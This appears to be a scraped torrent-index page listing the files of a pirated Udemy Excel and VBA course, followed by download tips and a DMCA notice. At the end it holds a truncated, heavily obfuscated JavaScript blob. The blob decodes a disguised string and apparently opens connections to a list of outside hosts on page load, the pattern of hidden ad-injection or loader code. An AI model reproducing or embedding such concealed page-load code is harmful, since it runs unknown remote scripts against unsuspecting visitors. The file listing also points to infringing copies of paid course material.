    29 - Mastering Excel's What If Tools/001 Working with Excel's Goal Seek Tool_en.srt 10.98 KB
    29 - Mastering Excel's What If Tools/002 Working with Excel's Solver Tool.mp4 109.08 MB
    29 - Mastering Excel's What If Tools/002 Working with Excel's Solver Tool_en.srt 16.82 KB
    29 - Mastering Excel's What If Tools/003 Building Effective Data Tables in Excel.mp4 20.32 MB
    29 - Mastering Excel's What If Tools/003 Building Effective Data Tables in Excel_en.srt 7.74 KB
    29 - Mastering Excel's What If Tools/004 Creating Scenarios in Excel.mp4 48.15 MB
    29 - Mastering Excel's What If Tools/004 Creating Scenarios in Excel_en.srt 10.78 KB
    30 - Automating Repetitive Tasks in Excel with Macros/001 Understanding Excel Macros.mp4 19.32 MB
    30 - Automating Repetitive Tasks in Excel with Macros/001 Understanding Excel Macros_en.srt 5.13 KB
    30 - Automating Repetitive Tasks in Excel with Macros/002 Activating the Developer Tab in Excel.mp4 11.86 MB
    30 - Automating Repetitive Tasks in Excel with Macros/002 Activating the Developer Tab in Excel_en.srt 2.09 KB
    30 - Automating Repetitive Tasks in Excel with Macros/003 Creating a Macro with the Macro Recorder.mp4 72.65 MB
    30 - Automating Repetitive Tasks in Excel with Macros/003 Creating a Macro with the Macro Recorder_en.srt 11.12 KB
    30 - Automating Repetitive Tasks in Excel with Macros/004 Editing a Macro with VBA.mp4 31.68 MB
    30 - Automating Repetitive Tasks in Excel with Macros/004 Editing a Macro with VBA_en.srt 7.52 KB
    30 - Automating Repetitive Tasks in Excel with Macros/005 Creating Buttons to Run Macros.mp4 32.54 MB
    30 - Automating Repetitive Tasks in Excel with Macros/005 Creating Buttons to Run Macros_en.srt 4.45 KB
    31 - Excel 103 Additional Practice Exercises/001 COMPLETED-Excel103ExtraPractice-01.xlsx 95.25 KB
    31 - Excel 103 Additional Practice Exercises/001 Excel 103 - Practice What You've Learned (DOWNLOAD).html 259 B
    31 - Excel 103 Additional Practice Exercises/001 Excel103ExtraPractice-01.xlsx 92.6 KB
    32 - Congratulations!/001 Congratulations on Completing the Microsoft Excel 103.mp4 19.56 MB
    32 - Congratulations!/001 Congratulations on Completing the Microsoft Excel 103_en.srt 2.27 KB
    33 - Microsoft Excel Macros and VBA Course Introduction/001 Welcome to the Course.mp4 106.61 MB
    33 - Microsoft Excel Macros and VBA Course Introduction/001 Welcome to the Course_en.srt 8.65 KB
    33 - Microsoft Excel Macros and VBA Course Introduction/002 Understanding the Why and How Behind Excel Macros.mp4 15.38 MB
    33 - Microsoft Excel Macros and VBA Course Introduction/002 Understanding the Why and How Behind Excel Macros_en.srt 7.93 KB
    34 - Project #1 Using Excel's Macro Recorder Tool/001 Introduction to Project #1 Inserting and Formatting Text.mp4 76.39 MB
    34 - Project #1 Using Excel's Macro Recorder Tool/001 Introduction to Project #1 Inserting and Formatting Text_en.srt 5.48 KB
    34 - Project #1 Using Excel's Macro Recorder Tool/002 COM-InsertingAndFormattingText.xlsm 20.06 KB
    34 - Project #1 Using Excel's Macro Recorder Tool/002 InsertingAndFormattingText.xlsx 11.46 KB
    34 - Project #1 Using Excel's Macro Recorder Tool/002 Project #1 Section Exercise Files (DOWNLOAD).html 500 B
    34 - Project #1 Using Excel's Macro Recorder Tool/003 Activating the Excel Developer Tab.mp4 11.07 MB
    34 - Project #1 Using Excel's Macro Recorder Tool/003 Activating the Excel Developer Tab_en.srt 3.33 KB
    34 - Project #1 Using Excel's Macro Recorder Tool/004 InsertingAndFormattingText.xlsx 17.38 KB
    34 - Project #1 Using Excel's Macro Recorder Tool/004 Project #1 Start Recording!.mp4 53.55 MB
    34 - Project #1 Using Excel's Macro Recorder Tool/004 Project #1 Start Recording!_en.srt 16.64 KB
    34 - Project #1 Using Excel's Macro Recorder Tool/005 Running a Microsoft Excel Macro.mp4 20.3 MB
    34 - Project #1 Using Excel's Macro Recorder Tool/005 Running a Microsoft Excel Macro_en.srt 6.64 KB
    34 - Project #1 Using Excel's Macro Recorder Tool/006 Project #1 Running an Excel Macro with a Button.mp4 36.28 MB
    34 - Project #1 Using Excel's Macro Recorder Tool/006 Project #1 Running an Excel Macro with a Button_en.srt 8.83 KB
    34 - Project #1 Using Excel's Macro Recorder Tool/007 BONUS - Create a Custom Button Using Excel Shapes.mp4 25.03 MB
    34 - Project #1 Using Excel's Macro Recorder Tool/007 BONUS - Create a Custom Button Using Excel Shapes_en.srt 6.42 KB
    34 - Project #1 Using Excel's Macro Recorder Tool/008 Adding the Excel Macro to the Quick Access Toolbar.mp4 19.25 MB
    34 - Project #1 Using Excel's Macro Recorder Tool/008 Adding the Excel Macro to the Quick Access Toolbar_en.srt 6.14 KB
    34 - Project #1 Using Excel's Macro Recorder Tool/009 Project #1 Editing the VBA Recorded by the Macro Recorder.mp4 135.16 MB
    34 - Project #1 Using Excel's Macro Recorder Tool/009 Project #1 Editing the VBA Recorded by the Macro Recorder_en.srt 18.28 KB
    34 - Project #1 Using Excel's Macro Recorder Tool/010 Save a Workbook with a MacroVBA Code.mp4 12.2 MB
    34 - Project #1 Using Excel's Macro Recorder Tool/010 Save a Workbook with a MacroVBA Code_en.srt 3.42 KB
    34 - Project #1 Using Excel's Macro Recorder Tool/011 Practical Uses of Excel Macros.mp4 13.96 MB
    34 - Project #1 Using Excel's Macro Recorder Tool/011 Practical Uses of Excel Macros_en.srt 3.39 KB
    35 - Excel VBA Concepts/001 Intro to Excel VBA Concepts.mp4 22.06 MB
    35 - Excel VBA Concepts/001 Intro to Excel VBA Concepts_en.srt 9.15 KB
    35 - Excel VBA Concepts/002 Intro to Excel VBA Object Oriented Programming Concepts.mp4 15.94 MB
    35 - Excel VBA Concepts/002 Intro to Excel VBA Object Oriented Programming Concepts_en.srt 6.22 KB
    35 - Excel VBA Concepts/003 COM-IntroToExcelVBACode-01.xlsm 15.33 KB
    35 - Excel VBA Concepts/003 ExcelMacrosAndVBA-PP.pptx 264.22 KB
    35 - Excel VBA Concepts/003 Intro to Excel VBA Exercise Files (DOWNLOAD).html 513 B
    35 - Excel VBA Concepts/004 The Visual Basic Editor (VBE).mp4 15.84 MB
    35 - Excel VBA Concepts/004 The Visual Basic Editor (VBE)_en.srt 7.42 KB
    35 - Excel VBA Concepts/005 Introduction to the Excel VBA Immediate Window.mp4 41.9 MB
    35 - Excel VBA Concepts/005 Introduction to the Excel VBA Immediate Window_en.srt 17.49 KB
    35 - Excel VBA Concepts/006 Excel VBA Modules.mp4 11.61 MB
    35 - Excel VBA Concepts/006 Excel VBA Modules_en.srt 5.22 KB
    35 - Excel VBA Concepts/007 Creating an Excel VBA Procedure.mp4 19.58 MB
    35 - Excel VBA Concepts/007 Creating an Excel VBA Procedure_en.srt 8.85 KB
    35 - Excel VBA Concepts/008 Adding Code to a VBA Procedure.mp4 22.03 MB
    35 - Excel VBA Concepts/008 Adding Code to a VBA Procedure_en.srt 6.48 KB
    35 - Excel VBA Concepts/009 Including Excel VBA Comments.mp4 9.28 MB
    35 - Excel VBA Concepts/009 Including Excel VBA Comments_en.srt 3.76 KB
    35 - Excel VBA Concepts/010 Excel VBA MSGBOX Function.mp4 24.96 MB
    35 - Excel VBA Concepts/010 Excel VBA MSGBOX Function_en.srt 10.89 KB
    35 - Excel VBA Concepts/011 Excel VBA MsgBox Microsoft Help Information.mp4 12.4 MB
    35 - Excel VBA Concepts/011 Excel VBA MsgBox Microsoft Help Information_en.srt 2.98 KB
    35 - Excel VBA Concepts/012 Understanding and Working with Excel VBA Variables.mp4 188.87 MB
    35 - Excel VBA Concepts/012 Understanding and Working with Excel VBA Variables_en.srt 23.9 KB
    35 - Excel VBA Concepts/013 REMINDER Saving an Excel Workbook with VBA Code.mp4 11.82 MB
    35 - Excel VBA Concepts/013 REMINDER Saving an Excel Workbook with VBA Code_en.srt 3.28 KB
    36 - Working with Excel VBA Logic Statements/001 COM-ExcelVBALoops.xlsm 16.12 KB
    36 - Working with Excel VBA Logic Statements/001 ExcelVBALoops.xlsx 8.94 KB
    36 - Working with Excel VBA Logic Statements/001 Working with Excel VBA Logic Exercise Files (DOWNLOAD).html 488 B
    36 - Working with Excel VBA Logic Statements/002 Building Logic with an Excel VBA IF Statement.mp4 98.82 MB
    36 - Working with Excel VBA Logic Statements/002 Building Logic with an Excel VBA IF Statement_en.srt 12.35 KB
    36 - Working with Excel VBA Logic Statements/003 Including an Else Statement in the VBA IF Statement.mp4 5.44 MB
    36 - Working with Excel VBA Logic Statements/003 Including an Else Statement in the VBA IF Statement_en.srt 2.32 KB
    36 - Working with Excel VBA Logic Statements/004 Expanding the IF Logic with Multiple ElseIf Statements.mp4 10.28 MB
    36 - Working with Excel VBA Logic Statements/004 Expanding the IF Logic with Multiple ElseIf Statements_en.srt 4.36 KB
    36 - Working with Excel VBA Logic Statements/005 Working with Excel VBA Select Case Statements.mp4 17.13 MB
    36 - Working with Excel VBA Logic Statements/005 Working with Excel VBA Select Case Statements_en.srt 7.29 KB
    36 - Working with Excel VBA Logic Statements/006 Working with an Excel VBA Do While Loop.mp4 40.88 MB
    36 - Working with Excel VBA Logic Statements/006 Working with an Excel VBA Do While Loop_en.srt 18.05 KB
    36 - Working with Excel VBA Logic Statements/007 Excel VBA Do While Loop Dynamic Condition.mp4 20.57 MB
    36 - Working with Excel VBA Logic Statements/007 Excel VBA Do While Loop Dynamic Condition_en.srt 9.76 KB
    36 - Working with Excel VBA Logic Statements/008 Working with an Excel VBA For Each Loop.mp4 21.36 MB
    36 - Working with Excel VBA Logic Statements/008 Working with an Excel VBA For Each Loop_en.srt 8.91 KB
    36 - Working with Excel VBA Logic Statements/009 Working with an Excel VBA For Next Loop.mp4 26.91 MB
    36 - Working with Excel VBA Logic Statements/009 Working with an Excel VBA For Next Loop_en.srt 11.52 KB
    37 - Project #2 Moving Beyond the Basics and into VBA/001 Introduction to Project #2 Interacting with the User.mp4 11.34 MB
    37 - Project #2 Moving Beyond the Basics and into VBA/001 Introduction to Project #2 Interacting with the User_en.srt 3.21 KB
    37 - Project #2 Moving Beyond the Basics and into VBA/002 Beyond the Basics Sort Project Exercise Files (DOWNLOAD).html 492 B
    37 - Project #2 Moving Beyond the Basics and into VBA/002 COM-SortingRecords.xlsm 22.24 KB
    37 - Project #2 Moving Beyond the Basics and into VBA/002 SortingRecords.xlsx 11.11 KB
    37 - Project #2 Moving Beyond the Basics and into VBA/003 Project #2 Introduction to the Excel VBA Range.Sort Method.mp4 15.36 MB
    37 - Project #2 Moving Beyond the Basics and into VBA/003 Project #2 Introduction to the Excel VBA Range.Sort Method_en.srt 6.75 KB
    37 - Project #2 Moving Beyond the Basics and into VBA/003 SortingRecords.xlsm 16.71 KB
    37 - Project #2 Moving Beyond the Basics and into VBA/004 Creating the Excel VBA Sort Procedures for this Project.mp4 102.19 MB
    37 - Project #2 Moving Beyond the Basics and into VBA/004 Creating the Excel VBA Sort Procedures for this Project_en.srt 13.89 KB
    37 - Project #2 Moving Beyond the Basics and into VBA/005 Project #2 Prompting the User for Information.mp4 59 MB
    37 - Project #2 Moving Beyond the Basics and into VBA/005 Project #2 Prompting the User for Information_en.srt 14.99 KB
    37 - Project #2 Moving Beyond the Basics and into VBA/006 Continue Excel VBA InputBox.mp4 56.6 MB
    37 - Project #2 Moving Beyond the Basics and into VBA/006 Continue Excel VBA InputBox_en.srt 12.86 KB
    37 - Project #2 Moving Beyond the Basics and into VBA/007 Project #2 Building Logic into Your Macros.mp4 25.66 MB
    37 - Project #2 Moving Beyond the Basics and into VBA/007 Project #2 Building Logic into Your Macros_en.srt 6.59 KB
    37 - Project #2 Moving Beyond the Basics and into VBA/008 Project #2 Alerting the User of Errors.mp4 60.06 MB
    37 - Project #2 Moving Beyond the Basics and into VBA/008 Project #2 Alerting the User of Errors_en.srt 15.42 KB
    37 - Project #2 Moving Beyond the Basics and into VBA/009 Using Excel VBA Error Control Statements.mp4 22.01 MB
    37 - Project #2 Moving Beyond the Basics and into VBA/009 Using Excel VBA Error Control Statements_en.srt 6.65 KB
    37 - Project #2 Moving Beyond the Basics and into VBA/010 Create a Button to Run the Sort Procedure and Save.mp4 10.46 MB
    37 - Project #2 Moving Beyond the Basics and into VBA/010 Create a Button to Run the Sort Procedure and Save_en.srt 3.71 KB
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/001 Introduction to Project #3 Cleaning Up and Formatting Data.mp4 11.99 MB
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/001 Introduction to Project #3 Cleaning Up and Formatting Data_en.srt 3.49 KB
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/002 CleaningUpData.xlsx 15.54 KB
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/002 COM-CleaningUpData-01.xlsm 28 KB
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/002 Project #3 Exercise Files (DOWNLOAD).html 460 B
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/003 Project #3 Preparing to the Use the Macro Recorder.mp4 15.62 MB
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/003 Project #3 Preparing to the Use the Macro Recorder_en.srt 4.54 KB
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/004 Project #3 Inserting the Headers.mp4 23.66 MB
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/004 Project #3 Inserting the Headers_en.srt 7.66 KB
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/005 Project #3 Formatting the Headers.mp4 20.97 MB
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/005 Project #3 Formatting the Headers_en.srt 6.23 KB
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/006 Project #3 Testing the Macros.mp4 15.59 MB
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/006 Project #3 Testing the Macros_en.srt 3.74 KB
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/007 Project #3 Using an Excel VBA Loop to Loop through all Worksheets.mp4 48.17 MB
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/007 Project #3 Using an Excel VBA Loop to Loop through all Worksheets_en.srt 14.65 KB
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/008 Project #3 Testing the Excel VBA Loop.mp4 19.51 MB
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/008 Project #3 Testing the Excel VBA Loop_en.srt 5.39 KB
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/009 Project #3 Adding Logic to an Excel VBA Loop.mp4 86.44 MB
    38 - Project #3 Preparing and Cleaning Up Data with Excel VBA/009 Project #3 Adding Logic to an Excel VBA Loop_en.srt 10.72 KB
    39 - Project #4 Using VBA to Automate Excel Formulas/001 Introduction to Project #4 Automate Excel Formulas.mp4 11.21 MB
    39 - Project #4 Using VBA to Automate Excel Formulas/001 Introduction to Project #4 Automate Excel Formulas_en.srt 2.72 KB
    39 - Project #4 Using VBA to Automate Excel Formulas/002 AutomateSumFunction.xlsx 15.23 KB
    39 - Project #4 Using VBA to Automate Excel Formulas/002 COM-AutomateSumFunction-01.xlsm 22.55 KB
    39 - Project #4 Using VBA to Automate Excel Formulas/002 Project #4 Automate Sum Function Exercise Files (DOWNLOAD).html 470 B
    39 - Project #4 Using VBA to Automate Excel Formulas/003 AutomateSumFunction.xlsx 19.83 KB
    39 - Project #4 Using VBA to Automate Excel Formulas/003 Project #4 Start the Procedure to Automate the SUM Function.mp4 111.09 MB
    39 - Project #4 Using VBA to Automate Excel Formulas/003 Project #4 Start the Procedure to Automate the SUM Function_en.srt 9.65 KB
    39 - Project #4 Using VBA to Automate Excel Formulas/004 Working with the Range Address Property.mp4 25.79 MB
    39 - Project #4 Using VBA to Automate Excel Formulas/004 Working with the Range Address Property_en.srt 7.42 KB
    39 - Project #4 Using VBA to Automate Excel Formulas/005 Creating the SUM Function in VBA.mp4 69.26 MB
    39 - Project #4 Using VBA to Automate Excel Formulas/005 Creating the SUM Function in VBA_en.srt 8.06 KB
    39 - Project #4 Using VBA to Automate Excel Formulas/006 Run the Excel VBA Procedure to SUM Records.mp4 32.39 MB
    39 - Project #4 Using VBA to Automate Excel Formulas/006 Run the Excel VBA Procedure to SUM Records_en.srt 4.36 KB
    39 - Project #4 Using VBA to Automate Excel Formulas/007 Project #4 Loop the SUM() Function Over Multiple Worksheets.mp4 59.73 MB
    39 - Project #4 Using VBA to Automate Excel Formulas/007 Project #4 Loop the SUM() Function Over Multiple Worksheets_en.srt 8.81 KB
    40 - Project #5 Bringing it All Together and a Weekly Report/001 Introduction to Project #5 Creating the Final Report.mp4 10.21 MB
    40 - Project #5 Bringing it All Together and a Weekly Report/001 Introduction to Project #5 Creating the Final Report_en.srt 2.95 KB
    40 - Project #5 Bringing it All Together and a Weekly Report/002 COM-QuarterlyReport-01.xlsm 34.32 KB
    40 - Project #5 Bringing it All Together and a Weekly Report/002 Project #5 Final Report Loop Exercise Files (DOWNLOAD).html 462 B
    40 - Project #5 Bringing it All Together and a Weekly Report/002 QuarterlyReport.xlsm 23.07 KB
    40 - Project #5 Bringing it All Together and a Weekly Report/003 Project #5 Creating the Final Report Excel VBA Loop.mp4 23.82 MB
    40 - Project #5 Bringing it All Together and a Weekly Report/003 Project #5 Creating the Final Report Excel VBA Loop_en.srt 7.08 KB
    40 - Project #5 Bringing it All Together and a Weekly Report/004 Project #5 - Copying Content with Excel VBA.mp4 27.51 MB
    40 - Project #5 Bringing it All Together and a Weekly Report/004 Project #5 - Copying Content with Excel VBA_en.srt 8.26 KB
    40 - Project #5 Bringing it All Together and a Weekly Report/005 Project #5 - Pasting Content with Excel VBA.mp4 23.22 MB
    40 - Project #5 Bringing it All Together and a Weekly Report/005 Project #5 - Pasting Content with Excel VBA_en.srt 7.02 KB
    40 - Project #5 Bringing it All Together and a Weekly Report/006 Cleaning Up the Final Report VBA Loop Code.mp4 25.56 MB
    40 - Project #5 Bringing it All Together and a Weekly Report/006 Cleaning Up the Final Report VBA Loop Code_en.srt 6.99 KB
    40 - Project #5 Bringing it All Together and a Weekly Report/007 Adding Logic to Stop the Loop from Running Multiple Times on a Worksheet.mp4 35.73 MB
    40 - Project #5 Bringing it All Together and a Weekly Report/007 Adding Logic to Stop the Loop from Running Multiple Times on a Worksheet_en.srt 8.2 KB
    40 - Project #5 Bringing it All Together and a Weekly Report/008 Project #5 - Running the Final Report Procedure.mp4 12.49 MB
    40 - Project #5 Bringing it All Together and a Weekly Report/008 Project #5 - Running the Final Report Procedure_en.srt 3.48 KB
    41 - Project #6 Working with Excel VBA User Forms/001 Introduction to Project #6 Working with Excel VBA User Forms.mp4 17.6 MB
    41 - Project #6 Working with Excel VBA User Forms/001 Introduction to Project #6 Working with Excel VBA User Forms_en.srt 4.23 KB
    41 - Project #6 Working with Excel VBA User Forms/001 QuarterlyReportForm-01.xlsm 24.47 KB
    41 - Project #6 Working with Excel VBA User Forms/002 COM-QuarterlyReportForm-01.xlsm 44.48 KB
    41 - Project #6 Working with Excel VBA User Forms/002 Project #6 Working with Excel VBA User Forms Exercise Files (DOWNLOAD).html 473 B
    41 - Project #6 Working with Excel VBA User Forms/002 QuarterlyReportForm-01.xlsm 31.66 KB
    41 - Project #6 Working with Excel VBA User Forms/003 Project #6 Creating an Excel User Form.mp4 25.99 MB
    41 - Project #6 Working with Excel VBA User Forms/003 Project #6 Creating an Excel User Form_en.srt 8.12 KB
    41 - Project #6 Working with Excel VBA User Forms/004 Project #6 Working with Form and Control Properties.mp4 31.45 MB
    41 - Project #6 Working with Excel VBA User Forms/004 Project #6 Working with Form and Control Properties_en.srt 9.89 KB
    41 - Project #6 Working with Excel VBA User Forms/005 Project #6 Formatting Excel VBA User Form Controls.mp4 15.78 MB
    41 - Project #6 Working with Excel VBA User Forms/005 Project #6 Formatting Excel VBA User Form Controls_en.srt 5.63 KB
    41 - Project #6 Working with Excel VBA User Forms/006 Project #6 Adding VBA Code to the Initialize Event.mp4 45.12 MB
    41 - Project #6 Working with Excel VBA User Forms/006 Project #6 Adding VBA Code to the Initialize Event_en.srt 13.75 KB
    41 - Project #6 Working with Excel VBA User Forms/007 Project #6 Using the AddItem Method within a Loop.mp4 47.84 MB
    41 - Project #6 Working with Excel VBA User Forms/007 Project #6 Using the AddItem Method within a Loop_en.srt 15.11 KB
    41 - Project #6 Working with Excel VBA User Forms/008 Project #6 Adding VBA Code to the ComboBox Change Event.mp4 18.46 MB
    41 - Project #6 Working with Excel VBA User Forms/008 Project #6 Adding VBA Code to the ComboBox Change Event_en.srt 5.44 KB
    41 - Project #6 Working with Excel VBA User Forms/009 Project #6 Adding VBA Code to the Add Worksheet Button.mp4 18.3 MB
    41 - Project #6 Working with Excel VBA User Forms/009 Project #6 Adding VBA Code to the Add Worksheet Button_en.srt 5.98 KB
    41 - Project #6 Working with Excel VBA User Forms/010 Project #6 Change Worksheet Name.mp4 11.13 MB
    41 - Project #6 Working with Excel VBA User Forms/010 Project #6 Change Worksheet Name_en.srt 4.88 KB
    41 - Project #6 Working with Excel VBA User Forms/011 Project #6 Catch Errors When Adding a Worksheet.mp4 13.34 MB
    41 - Project #6 Working with Excel VBA User Forms/011 Project #6 Catch Errors When Adding a Worksheet_en.srt 4.06 KB
    41 - Project #6 Working with Excel VBA User Forms/012 Add Sheet Procedure Catch Errors.html 1.14 KB
    41 - Project #6 Working with Excel VBA User Forms/012 AddSheetError-Solution-01.txt 890 B
    41 - Project #6 Working with Excel VBA User Forms/013 Project #6 Additional Conditions on the Loop.mp4 67.48 MB
    41 - Project #6 Working with Excel VBA User Forms/013 Project #6 Additional Conditions on the Loop_en.srt 8.72 KB
    41 - Project #6 Working with Excel VBA User Forms/014 Project #6 Running the Final Report Procedure.mp4 32.42 MB
    41 - Project #6 Working with Excel VBA User Forms/014 Project #6 Running the Final Report Procedure_en.srt 5.53 KB
    41 - Project #6 Working with Excel VBA User Forms/015 Project #6 Showing the VBA User Form On Workbook Open.mp4 42.88 MB
    41 - Project #6 Working with Excel VBA User Forms/015 Project #6 Showing the VBA User Form On Workbook Open_en.srt 5.89 KB
    42 - Project #7 Importing Data from Text Files/001 April2015Sales.txt 1.77 KB
    42 - Project #7 Importing Data from Text Files/001 Dec2015Sales.txt 1.13 KB
    42 - Project #7 Importing Data from Text Files/001 Feb2015Sales.txt 1.16 KB
    42 - Project #7 Importing Data from Text Files/001 Jan2015Sales.txt 1.25 KB
    42 - Project #7 Importing Data from Text Files/001 Mar2015Sales.txt 1.2 KB
    42 - Project #7 Importing Data from Text Files/001 May2015Sales.txt 1.24 KB
    42 - Project #7 Importing Data from Text Files/001 Nov2015Sales.txt 1.26 KB
    42 - Project #7 Importing Data from Text Files/001 Project #7 Opening a Text File for Import.mp4 20.49 MB
    42 - Project #7 Importing Data from Text Files/001 Project #7 Opening a Text File for Import_en.srt 4.26 KB
    42 - Project #7 Importing Data from Text Files/002 Project #7 Opening a Text File for Import.mp4 30.76 MB
    42 - Project #7 Importing Data from Text Files/002 Project #7 Opening a Text File for Import_en.srt 9.82 KB
    42 - Project #7 Importing Data from Text Files/003 Project #7 Get Data from Text File.mp4 21.05 MB
    42 - Project #7 Importing Data from Text Files/003 Project #7 Get Data from Text File_en.srt 8.96 KB
    42 - Project #7 Importing Data from Text Files/004 Project #7 Importing Multiple Text Files with the GetOpenFilename Method.mp4 41.97 MB
    42 - Project #7 Importing Data from Text Files/004 Project #7 Importing Multiple Text Files with the GetOpenFilename Method_en.srt 13.58 KB
    42 - Project #7 Importing Data from Text Files/005 Project #7 Creating a Loop to Read Each File.mp4 22.62 MB
    42 - Project #7 Importing Data from Text Files/005 Project #7 Creating a Loop to Read Each File_en.srt 12.17 KB
    42 - Project #7 Importing Data from Text Files/006 Project #7 Adding a New Sheet for Imported Data.mp4 14.92 MB
    42 - Project #7 Importing Data from Text Files/006 Project #7 Adding a New Sheet for Imported Data_en.srt 4 KB
    42 - Project #7 Importing Data from Text Files/007 Project #7 Clear the Clipboard.mp4 19.84 MB
    42 - Project #7 Importing Data from Text Files/007 Project #7 Clear the Clipboard_en.srt 6.01 KB
    42 - Project #7 Importing Data from Text Files/008 Project #7 Working with the ScreenUpdating Property.mp4 12.25 MB
    42 - Project #7 Importing Data from Text Files/008 Project #7 Working with the ScreenUpdating Property_en.srt 5.54 KB
    42 - Project #7 Importing Data from Text Files/009 Project #7 Creating Reusable Code with a VBA Function.mp4 47.84 MB
    42 - Project #7 Importing Data from Text Files/009 Project #7 Creating Reusable Code with a VBA Function_en.srt 11.97 KB
    43 - Course Wrap Up/001 Congratulations! You're an Excel MacroVBA Master.mp4 2.95 MB
    43 - Course Wrap Up/001 Congratulations! You're an Excel MacroVBA Master_en.srt 1.24 KB

Download Info

  • Tips

    “Udemy - Microsoft Excel - Excel from Beginner to Advanced 2022-7” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD 